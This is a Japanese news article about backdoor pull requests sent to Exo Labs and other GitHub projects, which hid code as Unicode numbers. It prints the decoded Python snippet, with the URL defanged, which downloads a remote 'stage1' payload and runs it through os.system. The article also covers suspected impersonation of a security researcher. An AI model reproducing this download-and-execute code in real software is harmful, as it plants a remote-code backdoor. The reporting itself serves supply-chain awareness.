GitHubプロジェクトが悪意のあるコミットやプルリクエストで狙われ、これらのプロジェクトにバックドアを注入しようとしている。
最近では、AIと機械学習のスタートアップ企業であるExo LabsのGitHubリポジトリが攻撃の標的にされ、攻撃者の真意について多くの人が疑問を抱いている。
バックドアを注入する「無邪気に見えるPR」が捕まる
火曜日、EXO Labsの共同設立者であるアレックス・チーマは、EXOのGitHubリポジトリに提出された「何の変哲もないように見える」コード変更について皆に警告した。
clear mlx requirement for deepseek models」と題されたプルリクエストは、Exoのコードベースにあるmodels.pyPythonファイルに数字の列を追加することで修正を試みていた:
無実のPRを通して@exolabsにバックドアを仕掛けようとした。
コードを一行一行読んでください。安全な場所にいてください。pic.twitter.com/M0WHoCF5Mu
– Alex Cheema – e/acc (@alexocheema)2024年11月12日
これらはユニコード番号で、それぞれが1文字を表している。言い換えれば、プレーンテキストのPythonコードは、コード変更を提出したユーザーによって採用された単純な技術によって、数字に相当する形に変換された。
この「105, 109, 112, 111, 114, 116,…」という文字の並びは、以下のコードスニペットに変換される(安全のためにURLは変更されている):
import os import urllib import urllib.request x = urllib.request.urlopen("hxxps://www.evildojo[.]com/stage1payload") y = x.read() z = y.decode("utf8") x.close() os.system(z)
この地味なコードは、evildojo(.)comに接続し、”stage1 “のペイロードをダウンロードしようとしている。
もしこのコード変更が承認され、EXOの公式リポジトリにマージされていれば、この製品を使用している誰もが、そのURLからリモートで提供されるコードを自分のシステムで実行することになり、機能的なバックドアが埋め込まれることになる。
しかし、このURLにアクセスすると、リンクは404(Not Found)を返し、そのURLにアクセスしようとした他の何人かによると、その場所には最初からコンテンツは存在しなかったという。
背後にいるのは誰で、なぜなのか?
ここが厄介なところで、決定的な答えは見当たらない。
このコミットは、GitHubユーザーの “evildojo666 “というアカウントから投稿されたようだ。
GitHubユーザー名のアーカイブページとドメインevildojo(.)comは、テキサスを拠点とするセキュリティ研究者、倫理的ハッカー、ソフトウェアエンジニアのマイク・ベルを指している。
ベルは、何者かが彼になりすまし、彼を中傷するためにこれらの悪質なコードを投稿していると主張している。
ベルはさらに、”ペイロードはなかった……なぜ人々はあると思い込んでいるのだろう?”と述べている。
公平に見て、ベルの話はつじつまが合う。GitHubのアカウントは、他人の詳細情報やプロフィール写真を使って誰でも簡単に作成でき、コード変更やプロジェクトへのプルリクエストを、すべて他人を装って提出できる。
evildojoのドメインに “stage1payload “のページが存在しないことも、このドメインがそもそも悪意のあるコードを配信していなかったことから、ドメインの所有者であるマイク・ベルに対する中傷キャンペーンである可能性が高いことを示している。
マルウェア解析とリバースエンジニアリングのプラットフォームであるMalcoreioによって、現在は削除されている別のGitHubアカウント「darkimage666」が特定された。このアカウントもベルになりすまし、オープンソースプロジェクトへのバックドアコミットを配布する悪質な取り組みを行っていたようだ。
“私ではありません、なりすましです。アカウントを削除しました。この偽者のアカウントでベルはこう発言している。
複数のプロジェクトが標的に
ChrzanKongを含むソーシャルメディアユーザーは、GitHubの別のユーザーアカウントによって、同様のコミットで他のいくつかのプロジェクトが標的にされたことを指摘した。
脅威情報アナリストのvx-undergroundによると、人気のあるオープンソースのオーディオとビデオのダウンローダーである“yt-dlp“も標的にされていた。Malcoreは、他のプロジェクトに向けられた同一のプルリクエストを少なくとも18件確認した。
本稿執筆時点では、このような悪意のあるコミットの多くと、関連する「muppet」GitHubユーザーアカウント(その一部はインドネシアに拠点を置いているようだ)が削除されていることが確認されている。
Googleのエンジニアで技術イベントのリーダーであるBogdan Stangaは、PresubmitのAI Reviewerをテストするためにプルリクエストを再現することができた。テストコードの変更は、レビュアーによって即座に “critical security “アラートでフラグが立てられました:
この事件は、早期に発見され、鎮圧されたものの、最近、悪意のある行為者によって、悪意のあるコードが、合法的で広く普及しているオープンソースライブラリに忍び込まれる可能性を示した、注目すべきxzサプライチェーン攻撃と響き合っている。
オープン・ソース・プロジェクトのメンテナは、自動化ツールや広範な人的コード・レビューを通じて、たとえ「善意の」貢献者から発信されているように見えるものであっても、送られてくるプル・リクエストを注意深く精査することが強く求められている。
Comments